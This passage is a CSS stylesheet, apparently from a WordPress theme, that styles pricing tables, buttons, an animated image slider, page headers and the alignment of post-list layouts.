.penci-pricing-item .penci-pricing-header {
	margin-bottom: 20px
}
.penci-pricing-fheader .penci-pricing-header {
	margin-top: -20px;
	margin-right: -20px;
	margin-left: -20px;
	padding: 20px 0;
	background: #fff000
}
.penci-pricing_featured.penci-pricing-f-hheight.penci-pricing-fheader .penci-pricing-header {
	padding-top: 50px;
	margin-top: -50px
}
.penci-pricing-item .penci-pricing-title {
	font-size: 36px;
	font-weight: 700;
	line-height: 1
}
.penci-pricing-item .penci-pricing-subtitle {
	color: #888;
	line-height: 1.3;
	margin-top: 10px
}
.penci-pricing-item .penci-price-unit,
.penci-pricing-item .penci-pricing-title {
	color: #111
}
.penci-pricing-item .penci-pricing-price {
	font-size: 48px;
	line-height: 1;
	display: inline-block
}
.penci-pricing-item .penci-pricing-unit {
	display: block
}
.penci-pricing-oneline .penci-pricing-unit {
	display: inline-block
}
.penci-pricing-item .penci-pricing-featured {
	margin-top: 20px;
	margin-bottom: 30px;
	font-size: 16px
}
.penci-pricing-btn-above .penci-pricing-featured {
	margin-bottom: 5px
}
.penci-pricing-btn-above .penci-pricing-pbutton {
	margin-top: 20px
}
.penci-pricing-item .penci-pricing-featured ol,
.penci-pricing-item .penci-pricing-featured ul {
	margin: 0;
	padding: 0
}
.penci-pricing-item .penci-pricing-featured li {
	margin-left: 0;
	list-style: none;
	margin-bottom: 10px
}
.penci-pricing-item .penci-pricing-featured a,
.penci-pricing-item .penci-pricing-featured div,
.penci-pricing-item .penci-pricing-featured li,
.penci-pricing-item .penci-pricing-featured ol,
.penci-pricing-item .penci-pricing-featured p,
.penci-pricing-item .penci-pricing-featured span,
.penci-pricing-item .penci-pricing-featured strong,
.penci-pricing-item .penci-pricing-featured ul {
	font-size: inherit;
	font-family: inherit;
	font-weight: inherit;
	letter-spacing: inherit;
	text-transform: inherit;
	font-style: inherit;
	text-decoration: inherit;
	line-height: 1.3
}
.penci-pricing-item .penci-pricing-featured li:last-child {
	margin-bottom: 0
}
.penci-pricing-item .penci-pricing-btn {
	display: block;
	width: 100%;
	font-size: 15px;
	box-sizing: border-box;
	max-width: 100%;
	text-decoration: none !important;
	margin-left: auto;
	margin-right: auto;
	color: #fff
}
.penci-pricing-btn-borders .penci-pricing-btn {
	background: 0 0 !important;
	border: 2px solid;
	color: var(--pctext-cl)
}
.penci-pricing-btn-borders .penci-pricing-btn:hover {
	border-color: var(--pcaccent-cl);
	color: var(--pcaccent-cl)
}
@media (max-width:767px) {
	.penci-pricing_featured.penci-pricing-f-hheight {
		transform: translateY(0);
		padding-top: 20px;
		padding-bottom: 20px
	}
	.penci-pricing_featured.penci-pricing-f-hheight.penci-pricing-fheader .penci-pricing-header {
		padding-top: 20px;
		margin-top: -20px
	}
}
.pcbtn-wrapper {
	display: block
}
.pcbtn-align-left {
	text-align: left
}
.pcbtn-align-center {
	text-align: center
}
.pcbtn-align-right {
	text-align: right
}
.pcbtn-wrapper a.pcbtn {
	display: inline-block;
	text-decoration: none;
	background: #f2f2f2;
	color: #333;
	position: relative;
	font-family: var(--pchead-font);
	font-size: 16px;
	vertical-align: top;
	transition: color .3s, transform .3s
}
.pcbtn-wrapper a.pcbtn:before {
	content: "";
	z-index: 1;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	width: 100%;
	height: 100%;
	display: block;
	opacity: 0;
	transition: all .3s
}
.pcbtn-wrapper a.pcbtn:hover:before {
	opacity: 1
}
.pcbtn-bordered .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bordered:before {
	border: 2px solid
}
.pcbtn-bstyle-dotted .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-dotted:before {
	border-style: dotted
}
.pcbtn-bstyle-dashed .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-dashed:before {
	border-style: dashed
}
.pcbtn-bstyle-double .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-double:before {
	border-style: double
}
.pcbtn-bstyle-groove .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-groove:before {
	border-style: groove
}
.pcbtn-bstyle-ridge .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-ridge:before {
	border-style: ridge
}
.pcbtn-bstyle-inset .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-inset:before {
	border-style: inset
}
.pcbtn-bstyle-outset .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-outset:before {
	border-style: outset
}
.pcbtn-bstyle-gradient .pcbtn-wrapperin,
.pcbtn-wrapper a.pcbtn-bstyle-gradient:before {
	border-image: linear-gradient(360deg, var(--pcaccent-cl), #bbb);
	border-image: -webkit-linear-gradient(360deg, var(--pcaccent-cl), #bbb);
	border-image-slice: 1
}
.pcbtn-align-justify a.pcbtn {
	display: block;
	width: 100%
}
@media (max-width:1024px) {
	.pcbtn-talign-left {
		text-align: left
	}
	.pcbtn-talign-center {
		text-align: center
	}
	.pcbtn-talign-right {
		text-align: right
	}
	.pcbtn-talign-center a.pcbtn,
	.pcbtn-talign-left a.pcbtn,
	.pcbtn-talign-right a.pcbtn {
		width: auto;
		display: inline-block
	}
	.pcbtn-talign-justify a.pcbtn {
		display: block;
		width: 100%
	}
}
@media (max-width:767px) {
	.pcbtn-malign-left {
		text-align: left
	}
	.pcbtn-malign-center {
		text-align: center
	}
	.pcbtn-malign-right {
		text-align: right
	}
	.pcbtn-malign-center a.pcbtn,
	.pcbtn-malign-left a.pcbtn,
	.pcbtn-malign-right a.pcbtn {
		width: auto;
		display: inline-block
	}
	.pcbtn-malign-justify a.pcbtn {
		display: block;
		width: 100%
	}
}
.pcbtn-wrapperin {
	text-align: center;
	padding: 10px 20px;
	display: block
}
.pcbtn-align-justify .pcbtn-wrapperin,
.pcbtn-align-justify .pcbtn-wrapperin span {
	width: 100%
}
.pcbtn-content svg {
	width: 16px;
	height: auto;
	vertical-align: middle;
	transition: fill .3s
}
.pcbtn-icon-left span span i,
.pcbtn-icon-left span span svg {
	margin-right: 5px
}
.pcbtn-icon-right span span i,
.pcbtn-icon-right span span svg {
	margin-left: 5px
}
.pcbtn-wrapperin span {
	display: block;
	line-height: 1.3
}
.pcbtn-wrapperin span.pcbtn-content {
	text-transform: uppercase;
	font-weight: 500;
	z-index: 5;
	position: relative;
	transition: all .3s
}
.pcbtn-wrapperin span.pcbtn-subtext {
	margin: 5px 0 0 0;
	font-size: 12px;
	z-index: 5;
	position: relative
}
.penci-ctslide-wrap {
	height: 400px;
	position: relative
}
.penci-ctslide-wrap:before {
	display: block;
	width: 100%;
	background: 0 0 !important;
	box-shadow: none !important
}
.penci-custom-slide {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0
}
.penci-ctslide-inner {
	height: 100%;
	width: 100%;
	z-index: 10
}
.penci-ctslide-bg,
.penci-ctslider-bg-overlay {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 10;
	-webkit-background-size: cover;
	background-size: cover;
	background-position: center;
	background-repeat: no-repeat;
	min-width: 100%;
	min-height: 100%;
	-webkit-transition-property: -webkit-transform;
	transition-property: -webkit-transform;
	-o-transition-property: transform;
	transition-property: transform;
	transition-property: transform, -webkit-transform;
	-webkit-transition-duration: 10s;
	-o-transition-duration: 10s;
	transition-duration: 10s
}
.penci-ctslider-featimg {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 15;
	background: 0 0 !important
}
.penci-ctslide-inner,
.penci-ctslider-content {
	position: relative;
	z-index: 50
}
.penci-ctslide-inner {
	display: flex
}
.penci-slides-wrap .owl-item.active .penci-ctslide-bg {
	-webkit-animation-timing-function: linear;
	animation-timing-function: linear;
	-webkit-animation-duration: 20s;
	animation-duration: 20s
}
.penci-slides-wrap .owl-item.active .penci-ctslide-bg.penci-ctslider-ken-in {
	-webkit-transform: scale(1.2);
	-ms-transform: scale(1.2);
	transform: scale(1.2);
	-webkit-animation-name: penci-ken-burns-in;
	animation-name: penci-ken-burns-in
}
.penci-slides-wrap .owl-item.active .penci-ctslide-bg.penci-ctslider-ken-out {
	-webkit-transform: scale(1);
	-ms-transform: scale(1);
	transform: scale(1);
	-webkit-animation-name: penci-ken-burns-out;
	animation-name: penci-ken-burns-out
}
.penci-slides-wrap .penci-ctslider-content {
	padding: 30px;
	width: 100%
}
.penci-v-poswrap-top .penci-ctslide-inner {
	-webkit-box-align: start;
	-webkit-align-items: flex-start;
	-ms-flex-align: start;
	align-items: flex-start
}
.penci-v-poswrap-bottom .penci-ctslide-inner {
	-webkit-box-align: end;
	-webkit-align-items: flex-end;
	-ms-flex-align: end;
	align-items: flex-end
}
.penci-v-poswrap-middle .penci-ctslide-inner {
	-webkit-box-align: center;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center
}
.penci-h-poswrap-left .penci-ctslide-inner {
	-webkit-box-pack: start;
	-webkit-justify-content: flex-start;
	-ms-flex-pack: start;
	justify-content: flex-start
}
.penci-h-poswrap-right .penci-ctslide-inner {
	-webkit-box-pack: end;
	-webkit-justify-content: flex-end;
	-ms-flex-pack: end;
	justify-content: flex-end
}
.penci-h-poswrap-center .penci-ctslide-inner {
	-webkit-box-pack: center;
	-webkit-justify-content: center;
	-ms-flex-pack: center;
	justify-content: center
}
.xpenci-slides-wrap div:not(.lslide)>.penci-ctslide-inner {
	display: none
}
.penci-slides-wrap .pencislider-caption,
.penci-slides-wrap .pencislider-title {
	color: #fff
}
.penci-slides-wrap .penci-slider_btnwrap,
.penci-slides-wrap .pencislider-caption,
.penci-slides-wrap .pencislider-title {
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .65s;
	-moz-animation-duration: .65s;
	-ms-animation-duration: .65s;
	-o-animation-duration: .65s;
	animation-duration: .65s
}
.penci-slides-wrap .pencislider-title {
	font-size: 30px;
	line-height: 1.2em;
	text-transform: uppercase;
	margin: 0 0 15px 0
}
.penci-slides-wrap .pencislider-caption {
	font-size: 16px;
	line-height: 1.4;
	margin: 0 0 25px 0
}
.penci-slides-wrap .penci-ctslider-content>:nth-child(1) {
	animation-delay: calc(var(--pcfs-delay) + .3s)
}
.penci-slides-wrap .penci-ctslider-content>:nth-child(2) {
	animation-delay: calc(var(--pcfs-delay) + .5s)
}
.penci-slides-wrap .penci-ctslider-content>:nth-child(3) {
	animation-delay: calc(var(--pcfs-delay) + .7s)
}
.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner,
.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner {
	position: relative;
	padding: 5px 12px;
	display: inline-block;
	vertical-align: top
}
.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner:before,
.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner:before {
	content: "";
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0
}
.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner span,
.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner span {
	position: relative;
	z-index: 10;
	padding: 0;
	margin: 0
}
.penci-slides-wrap .penci-slider_btnwrap {
	margin: 0;
	background: 0 0;
	padding: 0;
	vertical-align: top;
	animation-delay: 1.3s;
	-webkit-animation-delay: 1.3s
}
.penci-slider_btnwrap .pencislider-btn {
	display: inline-block;
	background: 0 0;
	border: 1px solid #fff;
	color: #fff;
	line-height: 1;
	height: 36px;
	padding: 0 20px;
	border-radius: 0;
	font-size: 12px;
	font-weight: 600;
	width: auto
}
.penci-slider_btnwrap .pencislider-btn>span {
	width: 100%;
	height: 100%;
	display: flex;
	justify-content: center;
	align-items: center;
	white-space: nowrap
}
.penci-slider_btnwrap .pencislider-btn:hover {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	color: #fff;
	text-decoration: none
}
.penci-slider_btnwrap .pencislider-btn:not(:last-child) {
	margin-right: 15px
}
@keyframes penci-ken-burns-in {
	0% {
		transform: scale(1)
	}
	100% {
		transform: scale(1.2)
	}
}
@keyframes penci-ken-burns-out {
	0% {
		transform: scale(1.2)
	}
	100% {
		transform: scale(1)
	}
}
.penci-slides-wrap .active .penci-fadeInDown .penci-slider_btnwrap,
.penci-slides-wrap .active .penci-fadeInDown .pencislider-caption,
.penci-slides-wrap .active .penci-fadeInDown .pencislider-title {
	-webkit-animation-name: pencifadeInDown;
	-moz-animation-name: pencifadeInDown;
	-o-animation-name: pencifadeInDown;
	animation-name: pencifadeInDown
}
.penci-slides-wrap .active .penci-fadeInUp .penci-slider_btnwrap,
.penci-slides-wrap .active .penci-fadeInUp .pencislider-caption,
.penci-slides-wrap .active .penci-fadeInUp .pencislider-title {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp
}
.penci-slides-wrap .active .penci-fadeInLeft .penci-slider_btnwrap,
.penci-slides-wrap .active .penci-fadeInLeft .pencislider-caption,
.penci-slides-wrap .active .penci-fadeInLeft .pencislider-title {
	-webkit-animation-name: pencifadeInLeft;
	-moz-animation-name: pencifadeInLeft;
	-o-animation-name: pencifadeInLeft;
	animation-name: pencifadeInLeft
}
.penci-slides-wrap .active .penci-fadeInRight .penci-slider_btnwrap,
.penci-slides-wrap .active .penci-fadeInRight .pencislider-caption,
.penci-slides-wrap .active .penci-fadeInRight .pencislider-title {
	-webkit-animation-name: pencifadeInRight;
	-moz-animation-name: pencifadeInRight;
	-o-animation-name: pencifadeInRight;
	animation-name: pencifadeInRight
}
@-webkit-keyframes pencifadeInUp {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInUp {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-webkit-keyframes pencifadeInLeft {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-50px, 0, 0);
		transform: translate3d(-50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInLeft {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-50px, 0, 0);
		transform: translate3d(-50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-webkit-keyframes pencifadeInRight {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(50px, 0, 0);
		transform: translate3d(50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInRight {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(50px, 0, 0);
		transform: translate3d(50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-webkit-keyframes pencifadeInDown {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -40px, 0);
		transform: translate3d(0, -40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInDown {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -40px, 0);
		transform: translate3d(0, -40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.popUpfadeInDown {
	animation-name: fadeInDown
}
@keyframes fadeInDown {
	from {
		opacity: 0;
		transform: translate3d(0, -100%, 0)
	}
	to {
		opacity: 1;
		transform: none
	}
}
@keyframes popUpfadeInDown {
	from {
		opacity: 0;
		transform: translate3d(0, -80px, 0)
	}
	to {
		opacity: 1;
		transform: none
	}
}
.penci-page-header-wrap {
	background: #dfdfdf;
	color: #111;
	overflow: hidden;
	padding-top: 80px;
	padding-bottom: 80px;
	margin-bottom: 60px;
	background-size: cover;
	background-position: center center;
	background-repeat: no-repeat;
	text-align: center
}
.penci-body-epageheader #header,
.penci-body-epageheader .penci-header-signup-form {
	margin-bottom: 0;
	margin-top: 0
}
.penci-page-header-wrap .container.penci-breadcrumb {
	margin-top: 0;
	width: 100%;
	margin-bottom: 0
}
.penci-page-header-wrap .penci-page-header-title {
	position: relative;
	text-transform: uppercase;
	font-size: 30px;
	font-weight: 600;
	color: #111;
	line-height: 1;
	padding: 0 0 14px;
	margin: 0 0 23px
}
.penci-page-header-wrap .penci-page-header-title:before {
	content: "";
	position: absolute;
	border-top: 2px solid;
	width: 40px;
	bottom: 0;
	left: 50%;
	color: inherit;
	opacity: .2;
	margin-left: -20px
}
.penci-page-header-wrap.penci-phhide-bread .penci-page-header-title {
	margin-bottom: 0 !important
}
.penci-page-header-wrap.penci-phhide-line .penci-page-header-title {
	padding-bottom: 0 !important
}
.penci-page-header-wrap.penci-phhide-line .penci-page-header-title:before {
	content: none
}
.penci-page-header-wrap.penci-pheader-left {
	text-align: left
}
.penci-page-header-wrap.penci-pheader-left .penci-page-header-title:before {
	left: 0;
	margin-left: 0
}
.penci-page-header-wrap.penci-pheader-center {
	text-align: center
}
.penci-page-header-wrap.penci-pheader-center .penci-page-header-title:before {
	left: 50%;
	margin-left: -20px
}
.penci-page-header-wrap.penci-pheader-right {
	text-align: right
}
.penci-page-header-wrap.penci-pheader-right .penci-page-header-title:before {
	left: auto;
	right: 0
}
.penci-latest-posts-left .grid-header-box,
.penci-latest-posts-left .header-list-style,
.penci-latest-posts-left .header-standard {
	text-align: left
}
.penci-latest-posts-left .grid-header-box:after,
.penci-latest-posts-left .header-list-style:after,
.penci-latest-posts-left .header-standard.standard-overlay-meta:after,
.penci-latest-posts-left .header-standard:after,
.penci-latest-posts-left .list-post .header-list-style:after,
.penci-latest-posts-left .list-post.list-boxed-post .header-list-style:after,
.penci-latest-posts-left.penci-latest-posts-mixed .grid-header-box:after {
	left: 0;
	margin-left: 0;
	right: auto
}
.penci-latest-posts-left .header-standard.standard-overlay-meta {
	padding-left: 20px !important;
	padding-right: 10px
}
.penci-latest-posts-left .header-standard.standard-overlay-meta:after {
	left: 20px;
	right: auto
}
.penci-latest-posts-left .grid-overlay-meta .grid-header-box {
	padding-left: 10px;
	padding-right: 5px
}
.container .penci-latest-posts-left .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after,
.penci-latest-posts-left .grid-overlay-meta .grid-header-box:after {
	left: 10px;
	right: auto
}
.penci-latest-posts-left.penci-latest-posts-grid .grid-overlay-meta .grid-header-box,
.penci-latest-posts-left.penci-latest-posts-grid-2 .grid-overlay-meta .grid-header-box {
	margin-left: 0;
	padding-left: 0
}
.penci-latest-posts-right.penci-latest-posts-grid .grid-overlay-meta .grid-header-box,
.penci-latest-posts-right.penci-latest-posts-grid-2 .grid-overlay-meta .grid-header-box {
	margin-right: 0;
	padding-right: 0
}
.penci-latest-posts-center .grid-header-box,
.penci-latest-posts-center .header-list-style,
.penci-latest-posts-center .header-standard {
	text-align: center
}
.penci-latest-posts-center .grid-header-box:after,
.penci-latest-posts-center .header-list-style:after,
.penci-latest-posts-center .header-standard.standard-overlay-meta:after,
.penci-latest-posts-center .header-standard:after,
.penci-latest-posts-center .list-post .header-list-style:after,
.penci-latest-posts-center .list-post.list-boxed-post .header-list-style:after,
.penci-latest-posts-center.penci-latest-posts-mixed .grid-header-box:after {
	left: 50%;
	right: auto;
	margin-left: -30px
}
.penci-latest-posts-center .header-standard.standard-overlay-meta {
	padding-left: 10px;
	padding-right: 10px
}
.penci-latest-posts-right .grid-header-box,
.penci-latest-posts-right .header-list-style,
.penci-latest-posts-right .header-standard {
	text-align: right
}
.penci-latest-posts-right .grid-header-box:after,
.penci-latest-posts-right .header-list-style:after,
.penci-latest-posts-right .header-standard.standard-overlay-meta:after,
.penci-latest-posts-right .header-standard:after,
.penci-latest-posts-right .list-post .header-list-style:after,
.penci-latest-posts-right .list-post.list-boxed-post .header-list-style:after,
.penci-latest-posts-right.penci-latest-posts-mixed .grid-header-box:after {
	left: auto;
	margin-left: 0;
	right: 0;
	margin-right: 0
}
.penci-latest-posts-right .grid-overlay-meta .grid-header-box {
	padding-right: 10px;
	padding-left: 5px
}
.container .penci-latest-posts-right .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after,
.penci-latest-posts-right .grid-overlay-meta .grid-header-box:after {
	left: auto;
	right: 10px
}
.penci-latest-posts-right .header-standard.standard-overlay-meta {
	padding-left: 10px;
	padding-right: 20px !important
}
.penci-latest-posts-right .header-standard.standard-overlay-meta:after {
	left: auto;
	right: 20px
}
.penci-grid-excerpt-left .penci-featured-infor .item-content,
.penci-grid-excerpt-left .penci-grid .grid-mixed .mixed-detail .item-content,
.penci-grid-excerpt-left .penci-grid li .item .item-content,
.penci-grid-excerpt-left .penci-masonry .item-masonry .item-content,
.penci-std-continue-left .penci-more-link,
.penci-std-excerpt-left .penci-grid .mixed-detail .item-content,
.penci-std-excerpt-left .standard-main-content {
	text-align: left
}
.penci-grid-excerpt-center .penci-featured-infor .item-content,
.penci-grid-excerpt-center .penci-grid .grid-mixed .mixed-detail .item-content,
.penci-grid-excerpt-center .penci-grid li .item .item-content,
.penci-grid-excerpt-center .penci-masonry .item-masonry .item-content,
.penci-std-continue-center .penci-more-link,
.penci-std-excerpt-center .penci-grid .mixed-detail .item-content,
.penci-std-excerpt-center .standard-main-content {
	text-align: center
}
.penci-grid-excerpt-right .penci-featured-infor .item-content,
.penci-grid-excerpt-right .penci-grid .grid-mixed .mixed-detail .item-content,
.penci-grid-excerpt-right .penci-grid li .item .item-content,
.penci-grid-excerpt-right .penci-masonry .item-masonry .item-content,
.penci-std-continue-right .penci-more-link,
.penci-std-excerpt-right .penci-grid .mixed-detail .item-content,
.penci-std-excerpt-right .standard-main-content {
	text-align: right
}
.penci-std-continue-left .penci-more-link a.more-link:before,
.penci-std-continue-right .penci-more-link a.more-link:after {
	content: none
}
.penci-std-continue-center .penci-more-link a.more-link:after,
.penci-std-continue-center .penci-more-link a.more-link:before,
.penci-std-continue-left .penci-more-link a.more-link:after,
.penci-std-continue-right .penci-more-link a.more-link:before {
	content: ""
}
@media only screen and (max-width:1400px) and (min-width:961px) {
	.penci-two-sidebar .container.penci-breadcrumb {
		width: 100%;
		padding: 0 10px
	}
}
@media only screen and (max-width:960px) and (min-width:768px) {
	.penci-two-sidebar .container.penci-breadcrumb {
		width: 726px
	}
}
@media only screen and (max-width:767px) and (min-width:480px) {
	.penci-two-sidebar .container.penci-breadcrumb {
		width: 480px
	}
}
@media only screen and (max-width:479px) {
	.penci-two-sidebar .container.penci-breadcrumb {
		width: 100%
	}
	.penci-slides-wrap .penci-ctslider-content {
		padding: 10px
	}
	.btn-twoline .penci-slider_btnwrap {
		white-space: pre-line
	}
	.btn-twoline .penci-slider_btnwrap .pencislider-btn:not(:last-child) {
		margin-right: 0 !important
	}
	.btn-twoline .penci-slider_btnwrap .pencislider-btn.pencislider-btn-2 {
		margin-top: 15px
	}
}
@media only screen and (min-width:768px) {
	.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post .item,
	.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post .item {
		display: flex;
		flex-wrap: wrap;
		align-items: center;
		justify-content: center
	}
	.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post .item .content-list-right,
	.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post .item .content-list-right {
		height: auto;
		min-height: 0
	}
	.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post:nth-child(2n+2) .item .content-list-right,
	.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post:nth-of-type(2n+2) .item .content-list-right {
		order: 1
	}
	.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post:nth-child(2n+2) .item .thumbnail,
	.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post:nth-of-type(2n+2) .item .thumbnail {
		order: 2
	}
}
.penci-latest-posts-el .penci-pagination {
	margin-top: 30px;
	margin-bottom: 0
}
.penci-latest-posts-el.penci-latest-posts-boxed-2 .penci-grid li.list-boxed-post-2:last-child {
	margin-bottom: 0 !important
}
.penci-latest-posts-el.penci-latest-posts-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,
.penci-latest-posts-el.penci-latest-posts-classic .penci-wrapper-data>article:last-child,
.penci-latest-posts-el.penci-latest-posts-classic-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,
.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-classic-list .penci-wrapper-data>.list-post:last-child,
.penci-latest-posts-el.penci-latest-posts-featured .penci-wrapper-data>.grid-featured:last-child,
.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-list .penci-wrapper-data>.list-post:last-child,
.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li:last-child,
.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li:last-child,
.penci-latest-posts-el.penci-latest-posts-overlay .penci-wrapper-data>.grid-overlay:last-child,
.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:last-child,
.penci-latest-posts-el.penci-latest-posts-standard .penci-wrapper-data>article:last-child,
.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,
.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:last-child,
.penci-latest-posts-el.penci-latest-posts-standard-list .penci-wrapper-data>.list-post:last-child {
	margin-bottom: 0 !important
}
@media only screen and (min-width:961px) {
	.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(3),
	.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(3),
	.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-mixed-2.penci-el-mixed-s1 .penci-grid>li.grid-style:nth-last-of-type(3),
	.penci-latest-posts-el.penci-latest-posts-mixed.penci-el-mixed-s1 .penci-grid>li.grid-style:nth-last-of-type(3),
	.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(3),
	.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2) {
		margin-bottom: 0 !important
	}
}
@media only screen and (max-width:960px) and (min-width:768px) {
	.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:nth-last-child(2),
	.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),
	.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2) {
		margin-bottom: 0 !important
	}
}
@media only screen and (max-width:1200px) and (min-width:961px) {
	.container.two-sidebar .penci-sidebar-left,
	.layout-12_14_14 .penci-sidebar-left,
	.layout-14_12_14 .penci-sidebar-left,
	.layout-14_14_12 .penci-sidebar-right,
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1 {
		display: none !important
	}
	.container.two-sidebar .penci-sidebar-content,
	.layout-12_14_14 .penci-vc-sidebar,
	.layout-14_12_14 .penci-vc-sidebar,
	.layout-14_14_12 .penci-vc-sidebar,
	.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,
	.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,
